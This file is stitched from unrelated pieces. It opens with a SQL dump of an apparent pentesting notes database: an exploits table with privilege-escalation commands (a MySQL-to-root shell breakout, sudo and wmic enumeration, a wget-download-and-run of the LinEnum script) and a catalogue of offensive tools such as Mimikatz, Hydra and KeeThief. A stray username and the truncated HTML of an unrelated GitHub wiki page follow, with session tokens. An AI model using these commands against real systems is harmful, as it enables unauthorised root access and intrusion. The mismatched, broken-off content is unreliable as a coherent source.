('SQL', 'Priv Esc', 'MySQL binary running as root', 'enter into MySQL command line and break out into root y using the code', 'mysql> \! /bin/sh', 'get shell from root priv SQL', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', 'low privilage shell', 'use the code to search for programs that run as sudo without password', 'sudo -l', NULL, 'list programs that can be used with sudo and no password'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Windows', 'Priv Esc', 'Powershell', 'use code to enumerate priv esc opertunities', 'wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """', 'list of unquoted service paths that might be used for priv esc', NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'LFI', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Linux', 'Priv Enum', NULL, 'use Linenum.sh to enumerate linux box', 'wget https://www.linenum.sh/ -P /dev/shm/Linenum.sh; chmod +x /dev/shm/linenum.sh ; ./dev/shm/Linenum.sh | tee /dev/shm/lininfo.txt', ' file, /dev/shm/lininfo.txt, with priv esc info', 'it is possible to use other methods of download like: curl or others found on google'); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'No-Auth', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'Re-Registration', NULL, NULL, NULL, NULL, NULL); INSERT INTO Exploits (Target, Type, Criteria, Method, Code, Result, Notes) VALUES ('Website', 'JWT', 'a site that uses jSON as cookies', 'edit the information (with BURP) thats going to the website to gain access without authenitaction', NULL, NULL, NULL); -- Table: Programs CREATE TABLE Programs (Name text PRIMARY KEY NOT NULL UNIQUE, Stage TEXT, Description text, Info text, Features TEXT, Target TEXT, Offensive BOOLEAN, commands TEXT); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nmap', 'Enum', 'Used for scanning a network/host to gather more information', 'man pages on linux', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('BURP Suit', 'Enum, Exploit', 'A program for manipulating HTTP requests, enumeration and Exploit', 'https://portswigger.net/burp/documentation/contents', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Metasploit', 'All', 'Powerfull swiss-army-knife of hacking', 'https://docs.rapid7.com/metasploit/', NULL, 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('MSFVenom', 'Exploit', 'Designed for creating payloads', 'https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom', 'Payloads', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Snort', 'Utility', 'Packet sniffer', 'https://snort-org-site.s3.amazonaws.com/production/document_files/files/000/000/249/original/snort_manual.pdf?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=AKIAIXACIED2SPMSC7GA%2F20210128%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20210128T192737Z&X-Amz-Expires=172800&X-Amz-SignedHeaders=host&X-Amz-Signature=4b51dc730677d14203c4a4cde25c1831ac64e9eca8df89c6737701811fa3f9fd', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('GoBuster', 'Enum', 'A fuzzer for websites', 'man pages on linux', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hydra', 'Exploit', 'Brutforcer for wesite passwords', 'man pages on linux', 'Brute', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Mimikatz', 'Post', 'Used to exploit kerberos', 'https://gist.github.com/insi2304/484a4e92941b437bad961fcacda82d49', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Impacket', 'Exploit', 'The fascilitator of python bassed script that uses modules for attacking windows ', 'https://www.secureauth.com/labs-old/impacket/', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Enum4Linux', 'Enum', 'for Enumerating Windows and Samba hosts', 'man pages included, https://tools.kali.org/information-gathering/enum4linux', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Rubeus', 'Exploit', 'Used for kerberos interaction and abuse', 'https://github.com/GhostPack/Rubeus', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Kerbrute', 'Enum, Exploit', 'quickly enumerate and brutforce active directory accounts through kerberos pre-authentication', 'https://github.com/ropnop/kerbrute/', 'Brute', 'Windows', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('John the Ripper', 'Exploit', 'a password brutforcer', 'https://www.openwall.com/john/doc/', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hashcat', 'Exploit', 'A password bruteforces', 'http://manpages.org/hashcat', 'Brute', 'Hash', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Bloodhound', 'Enum', 'Network mapping tool', 'https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Wireshark', 'Utility', 'Packet sniffer', 'https://www.wireshark.org/download/docs/user-guide.pdf', 'Sniffing', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hash-Identifier', 'Utility', '(superseeded by Name-That-Hash)A simple python program for identifying hashes', 'man pages on linux', NULL, 'Hash', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Scp', 'Utility', 'For transfering files over SSH connection', 'man pages on llinux', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBClient', 'Utility', 'Used to connect to SMB file shares, can be used to enumerate shares', 'man pages on linux', 'Connect', 'SMB', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PowerShell', 'Utility', 'Powerfull comand line for Windows', 'https://www.pdq.com/powershell/', NULL, 'Windows', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Searchsploit', 'Enum', 'Local version of ExploitDB', 'https://www.exploit-db.com/searchsploit', 'Exploit Enum', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Vim', 'Utiility', 'Text editor', 'https://vimhelp.org/', NULL, 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('LinPeas', 'Post', 'For Enumerating Linux computers', 'Simply run on a linux computer', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Nikto', 'Enum', 'For full enumeration on websites', 'https://cirt.net/nikto2-docs/', 'Exploit Enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Radare2', 'Utility', 'A tooll used to reverse engineer programs', 'https://github.com/radareorg/radare2/blob/master/doc/intro.md', 'Reverse', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Evil-WinRM', 'Exploit', 'Malware exuivilent of WinRM and used to exploit windows systems', 'https://github.com/Hackplayers/evil-winrm', NULL, 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Seatbelt', 'Post', 'Seatbelt is a C# project that performs a number of security oriented host-survey "safety checks" relevant from both offensive and defensive security perspectives', 'https://github.com/GhostPack/Seatbelt', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WinPeas', 'Post', 'For full enumeration of windows host (internal)', 'https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS', 'Exploit Enum', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Lockless', 'Post', 'LockLess is a C# tool that allows for the enumeration of open file handles and the copying of locked files', 'https://github.com/GhostPack/Lockless', 'File interaction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SQLMap', 'Exploit', 'Automates the process of detecting and exploiting SQL injection flaws and taking over of database servers', 'http://sqlmap.org/', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('KEETheif', 'Post', 'Allows for the extraction of KeePass 2.X key material from memory, as well as the backdooring and enumeration of the KeePass trigger system', 'https://github.com/GhostPack/KeeThief', 'File interacction', 'Windows', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('TheHarvester', 'Enum', 'The objective of this program is to gather emails, subdomains, hosts, employee names, open ports and banners from different public sources like search engines, PGP key servers and SHODAN computer database', 'https://tools.kali.org/information-gathering/theharvester', NULL, 'N/A', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('jSQLInjection', 'Enum', 'used for gathering SQL databse information form a distant source', 'https://tools.kali.org/vulnerability-analysis/jsql', 'SQLi', 'SQL', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Hping', 'Enum', 'Ping command on steroids, used to enumerating firewalls', 'https://tools.kali.org/information-gathering/hping3', 'Scanning', 'All', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux Exploit Suggester', 'Post', 'keeps track of vulnerabilities and suggests exploits to gain root access', 'https://tools.kali.org/exploitation-tools/linux-exploit-suggester', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unix-PrivEsc-Check', 'Post', ' It tries to find misconfigurations that could allow local unprivileged users to escalate privileges to other users or to access local apps, written in a single shell script so is easy to upload', 'https://tools.kali.org/vulnerability-analysis/unix-privesc-check', 'Exploit Enum', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Dotdotpwn', 'Enum', 'It’s a very flexible intelligent fuzzer to discover traversal directory vulnerabilities in software such as HTTP/FTP/TFTP servers', 'https://tools.kali.org/information-gathering/dotdotpwn', 'Fuzzing', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Websploit', 'Enum, Exploit', 'Swiss-army-knife of web exploits ranging from social engineering to honeypots and everything in between', 'https://tools.kali.org/web-applications/websploit', NULL, 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('XSSer', 'Enum', 'To detect, exploit and report XSS vulnerabilities in web-based applications', 'https://tools.kali.org/web-applications/xsser', 'Exploit enum', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Name-That-Hash', 'Utility', 'Hash-identifier with more deatils and command line based', 'https://github.com/HashPals/Name-That-Hash', NULL, 'N/A', 'N', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('SMBMap', 'Enum', 'enumerate shares over a domin', 'https://tools.kali.org/information-gathering/smbmap', 'Scanning', 'OS', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Redis-Cli', 'Exploit', 'used for interacting and exploiting reddis-cli on port 6379', 'https://book.hacktricks.xyz/pentesting/6379-pentesting-redis ; https://redis.io/topics/rediscli', 'SQL', 'SQL', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Unshadow', 'POST', 'Combining passwd and shadow files into 1', 'simply use: unshadow <passwd file> <shadow file> > <output file>', 'Passwords', 'Hash', 'Y', 'y'); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('WPScan', 'Enum', 'Look for vulnerabilities in wordpress site', 'https://github.com/wpscanteam/wpscan', 'Scanning', 'Web', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Netcat', 'Utility', 'used for connecting 2 computers', 'https://www.win.tue.nl/~aeb/linux/hh/netcat_tutorial.pdf', 'Connect', 'N/A', 'N', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('Linux commands', 'Post', 'Linux commands used for Priv esc', 'https://gtfobins.github.io, https://wadcoms.github.io', 'Priv Esc', 'Linux', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CrackMapExec', 'Enum,, Exploit', 'Swis army knife of network testing', 'https://ptestmethod.readthedocs.io/en/latest/cme.html', 'Scanning, Exploit', 'Networks', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('IKE-Scan', 'Enum', 'Used to dicover, fingerprint and test IPsec VPN systems', 'http://www.nta-monitor.com/wiki/index.php/Ike-scan_User_Guide', 'Scanning', 'VPN', NULL, NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('PSK-Crack', 'Exploit', 'attempts to crack IKE Aggressive Mode pre-shared keys that have previously been gathered using ike-scan with the --pskcrack option', 'https://linux.die.net/man/1/psk-crack', 'Connect, Brute', 'Wifi', 'Y', NULL); INSERT INTO Programs (Name, Stage, Description, Info, Features, Target, Offensive, commands) VALUES ('CeWL', 'Enum', 'spiders a given url returning a wordlist that is intednded for cracking passwords', 'https://tools.kali.org/password-attacks/cewl', 'Brute', 'Web', 'Y', NULL); COMMIT TRANSACTION; PRAGMA foreign_keys = on;
jaityron
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars0.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars1.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars2.githubusercontent.com"> <link rel="dns-prefetch" href="https://avatars3.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link crossorigin="anonymous" media="all" integrity="sha512-RPWwIpqyjxv5EpuWKUKyeZeWz9QEzIbAWTiYOuxGieUq7+AMiZbsLeQMfEdyEIUoNjLagHK0BEm92BmXnvaH4Q==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-40c1c9d8ff06284fb441108e6559f019.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-3CnDMoFJPvbM39ryV5wc51yRo/6j6eQPt5SOlYaoBZhR9rVL/UZH3ME+wt72nsTlNFaSQ3nXT/0F4sxE1zbA6g==" rel="stylesheet" href="https://github.githubassets.com/assets/github-38162889e1878fa3b887aa360e70ab6c.css" /> <meta name="viewport" content="width=device-width"> <title>Home · Alvin9999/new-pac Wiki</title> <meta name="description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta property="og:image" content="https://avatars0.githubusercontent.com/u/12132898?s=400&v=4" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="Alvin9999/new-pac" /><meta property="og:url" content="https://github.com/Alvin9999/new-pac" /><meta property="og:description" content="Contribute to Alvin9999/new-pac development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <link rel="web-socket" href="wss://live.github.com/_sockets/VjI6Mzc2MjMzNDkyOjM2ZmM1MjAzNDUwMjNhZGIxNmVjZTllOTI0YjY1YmQ0OWQyNmM4MzkzNWJhZTQzMDg5NzA0YjU3Y2E3NTNkMDE=--fa569a95af65bafbf0c16cb5eb8c194edc2045fb"> <meta name="pjax-timeout" content="1000"> <link rel="sudo-modal" href="/sessions/sudo_modal"> <meta name="request-id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" data-pjax-transient> <meta name="selected-link" value="repo_wiki" data-pjax-transient> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-host" content="collector.githubapp.com" /><meta name="octolytics-app-id" content="github" /><meta name="octolytics-event-url" content="https://collector.githubapp.com/github-external/browser_event" /><meta name="octolytics-dimension-request_id" content="818C:75AC:15C5D83:291B1C2:5C7218B8" /><meta name="octolytics-dimension-region_edge" content="iad" /><meta name="octolytics-dimension-region_render" content="iad" /><meta name="octolytics-actor-id" content="47923458" /><meta name="octolytics-actor-login" content="p4g5" /><meta name="octolytics-actor-hash" content="6a95853374cece7bf113bc42df1cef3ad50e04d98978b001c78c593432aa2c78" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/wiki/index" data-pjax-transient="true" /> <meta name="google-analytics" content="UA-3769691-2"> <meta class="js-ga-set" name="userId" content="649868b7d8b42456fef3feb17a9d0a6b"> <meta class="js-ga-set" name="dimension1" content="Logged In"> <meta name="hostname" content="github.com"> <meta name="user-login" content="p4g5"> <meta name="expected-hostname" content="github.com"> <meta name="js-proxy-site-detection-payload" content="ODkzYzZhMWZkM2IyYWJmODcxMzc2NTQ0ODU3ODc5NzkyMThhNGU0YmYyODA3OTFiMGZhYmI0ZTdlZGI0MTEwMHx7InJlbW90ZV9hZGRyZXNzIjoiMTM4LjE5LjI0My4xMTAiLCJyZXF1ZXN0X2lkIjoiODE4Qzo3NUFDOjE1QzVEODM6MjkxQjFDMjo1QzcyMThCOCIsInRpbWVzdGFtcCI6MTU1MDk4MTMwOCwiaG9zdCI6ImdpdGh1Yi5jb20ifQ=="> <meta name="enabled-features" content="UNIVERSE_BANNER,MARKETPLACE_SOCIAL_PROOF,MARKETPLACE_PLAN_RESTRICTION_EDITOR,NOTIFY_ON_BLOCK,RELATED_ISSUES,MARKETPLACE_BROWSING_V2"> <meta name="html-safe-nonce" content="949564c0ba7317eace2a7bfddf1ecff165bf3dab"> <meta http-equiv="x-pjax-version" content="fe602614af4c1a740e12e3bc8fce8de2"> <link href="https://github.com/Alvin9999/new-pac/commits/master.atom" rel="alternate" title="Recent Commits to new-pac:master" type="application/atom+xml"> <meta name="go-import" content="github.com/Alvin9999/new-pac git https://github.com/Alvin9999/new-pac.git"> <meta name="octolytics-dimension-user_id" content="12132898" /><meta name="octolytics-dimension-user_login" content="Alvin9999" /><meta name="octolytics-dimension-repository_id" content="54544023" /><meta name="octolytics-dimension-repository_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="54544023" /><meta name="octolytics-dimension-repository_network_root_nwo" content="Alvin9999/new-pac" /><meta name="octolytics-dimension-repository_explore_github_marketplace_ci_cta_shown" content="false" /> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="icon" type="image/x-icon" class="js-site-favicon" href="https://github.githubassets.com/favicon.ico"> <meta name="theme-color" content="#1e2327"> <meta name="u2f-support" content="true"> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-in env-production page-responsive min-width-0"> <div class="position-relative js-header-wrapper "> <a href="#start-of-content" tabindex="1" class="p-3 bg-blue text-white show-on-focus js-skip-to-content">Skip to content</a> <div id="js-pjax-loader-bar" class="pjax-loader-bar"><div class="progress"></div></div> <header class="Header js-details-container Details f5" role="banner"> <div class="d-lg-flex p-responsive flex-justify-between px-3 "> <div class="d-flex flex-justify-between flex-items-center"> <div class="d-none d-lg-block"> <a class="header-logo-invertocat" href="https://github.com/" data-hotkey="g d" aria-label="Homepage" data-ga-click="Header, go to dashboard, icon:logo"> <svg height="32" class="octicon octicon-mark-github" viewBox="0 0 16 16" version="1.1" width="32" aria-hidden="true"><path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0 0 16 8c0-4.42-3.58-8-8-8z"/></svg> </a> </div> <button class="btn-link mt-1 js-details-target d-lg-none" type="button" aria-label="Toggle navigation" aria-expanded="false"> <svg height="24" class="octicon octicon-three-bars notification-indicator" viewBox="0 0 12 16" version="1.1" width="18" aria-hidden="true"><path fill-rule="evenodd" d="M11.41 9H.59C0 9 0 8.59 0 8c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zm0-4H.59C0 5 0 4.59 0 4c0-.59 0-1 .59-1H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1h.01zM.59 11H11.4c.59 0 .59.41.59 1 0 .59 0 1-.59 1H.59C0 13 0 12.59 0 12c0-.59 0-1 .59-1z"/></svg> </button> <div class="d-lg-none css-truncate css-truncate-target width-fit px-3"> <svg class="octicon octicon-repo" viewBox="0 0 12 16" version="1.1" width="12" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <strong><a class="text-white" href="/Alvin9999">Alvin9999</a></strong> / <strong><a class="text-white" href="/Alvin9999/new-pac">new-pac</a></strong> </div> <div class="d-flex d-lg-none"> <div> <a aria-label="You have no unread notifications" class="notification-indicator tooltipped tooltipped-s my-2 my-lg-0 js-socket-channel js-notification-indicator" data-hotkey="g n" data-ga-click="Header, go to notifications, icon:read" data-channel="notification-changed:47923458" href="/notifications"> <span class="mail-status "></span> <svg class="octicon octicon-bell" viewBox="0 0 14 16" version="1.1" width="14" height="16" aria-hidden="true"><path fill-rule="evenodd" d="M14 12v1H0v-1l.73-.58c.77-.77.81-2.55 1.19-4.42C2.69 3.23 6 2 6 2c0-.55.45-1 1-1s1 .45 1 1c0 0 3.39 1.23 4.16 5 .38 1.88.42 3.66 1.19 4.42l.66.58H14zm-7 4c1.11 0 2-.89 2-2H5c0 1.11.89 2 2 2z"/></svg> </a> </div> </div> </div> <div class="HeaderMenu d-lg-flex flex-justify-between flex-auto"> <nav class="d-lg-flex" aria-label="Global"> <div class="py-3 py-lg-0"> <div class="header-search scoped-search site-scoped-search js-site-search position-relative js-jump-to" role="combobox" aria-owns="jump-to-results" aria-label="Search or jump to" aria-haspopup="listbox" aria-expanded="false" > <div class="position-relative"> <!-- '"` --><!-- </textarea></xmp> --></option></form><form class="js-site-search-form" data-scope-type="Repository" data-scope-id="54544023" data-scoped-search-url="/Alvin9999/new-pac/search" data-unscoped-search-url="/search" action="/Alvin9999/new-pac/search" accept-charset="UTF-8" method="get"><input name="utf8" type="hidden" value="✓" /> <label class="form-control header-search-wrapper header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center js-chromeless-input-container"> <input type="text" class="form-control header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey="s,/" name="q" value="" placeholder="Search or jump to…" data-unscoped-placeholder="Search or jump to…" data-scoped-placeholder="Search or jump to…" autocapitalize="off" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search or jump to…" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations#csrf-token=FL2zGu0JiDlR80w7nUfjCOv/O+4Wj2wn1yymqMaAwwfxcDNw3Pt5jHw/ZZaE73Bf5Xb6QLkfLjF8po7ehDrb8w==" spellcheck="false" autocomplete="off" > <input type="hidden" class="js-site-search-type-field" name="type" > <img src="https://github.githubassets.com/images/search-key-slash.svg" alt="" class="mr-2 header-search-key-slash"> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <ul class="d-none js-jump-to-suggestions-template-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-suggestion" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg height="16" width="16" class="octicon octicon-repo flex-shrink-0 js-jump-to-octicon-repo d-none" title="Repository" aria-label="Repository" viewBox="0 0 12 16" version="1.1" role="img"><path fill-rule="evenodd" d="M4 9H3V8h1v1zm0-3H3v1h1V6zm0-2H3v1h1V4zm0-2H3v1h1V2zm8-1v12c0 .55-.45 1-1 1H6v2l-1.5-1.5L3 16v-2H1c-.55 0-1-.45-1-1V1c0-.55.45-1 1-1h10c.55 0 1 .45 1 1zm-1 10H1v2h2v-1h3v1h5v-2zm0-10H2v9h9V1z"/></svg> <svg height="16" width="16" class="octicon octicon-project flex-shrink-0 js-jump-to-octicon-project d-none" title="Project" aria-label="Project" viewBox="0 0 15 16" version="1.1" role="img"><path fill-rule="evenodd" d="M10 12h3V2h-3v10zm-4-2h3V2H6v8zm-4 4h3V2H2v12zm-1 1h13V1H1v14zM14 0H1a1 1 0 0 0-1 1v14a1 1 0 0 0 1 1h13a1 1 0 0 0 1-1V1a1 1 0 0 0-1-1z"/></svg> <svg height="16" width="16" class="octicon octicon-search flex-shrink-0 js-jump-to-octicon-search d-none" title="Search" aria-label="Search" viewBox="0 0 16 16" version="1.1" role="img"><path fill-rule="evenodd" d="M15.7 13.3l-3.81-3.83A5.93 5.93 0 0 0 13 6c0-3.31-2.69-6-6-6S1 2.69 1 6s2.69 6 6 6c1.3 0 2.48-.41 3.47-1.11l3.83 3.81c.19.2.45.3.7.3.25 0 .52-.09.7-.3a.996.996 0 0 0 0-1.41v.01zM7 10.7c-2.59 0-4.7-2.11-4.7-4.7 0-2.59 2.11-4.7 4.7-4.7 2.59 0 4.7 2.11 4.7 4.7 0 2.59-2.11 4.7-4.7 4.7z"/></svg> </div> <img class="avatar mr-2 flex-shrink-0 js-jump-to-suggestion-avatar d-none" alt="" aria-label="Team" src="" width="28" height="28"> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none js-jump-to-badge-search"> <span class="js-jump-to-badge-search-text-default d-none" aria-label="in this repository"> In this repository </span> <span class="js-jump-to-badge-search-text-global d-none" aria-label="in all of GitHub"> All GitHub </span> <span aria-hidden="true" class="d-inline-block ml-1 v-align-middle">↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 bg-gray px-1 text-gray-light ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span class="d-inline-block ml-1 v-align-middle">↵</span> </div> </a> </li> </ul> <ul class="d-none js-jump-to-no-results-template-container"> <li class="d-flex flex-justify-center flex-items-center f5 d-none js-jump-to-suggestion p-2"> <span class="text-gray">No suggested jump to results</span> </li> </ul> <ul id="jump-to-results" role="listbox" class="p-0 m-0 js-navigation-container jump-to-suggestions-results-container js-jump-to-suggestions-results-container"> <li class="d-flex flex-justify-start flex-items-center p-0 f5 navigation-item js-navigation-item js-jump-to-scoped-search d-none" role="option"> <a tabindex="-1" class="no-underline d-flex flex-auto flex-items-center jump-to-suggestions-path js-jump-to-suggestion-path js-navigation-open p-2" href=""> <div class="jump-to-octicon js-jump-to-octicon 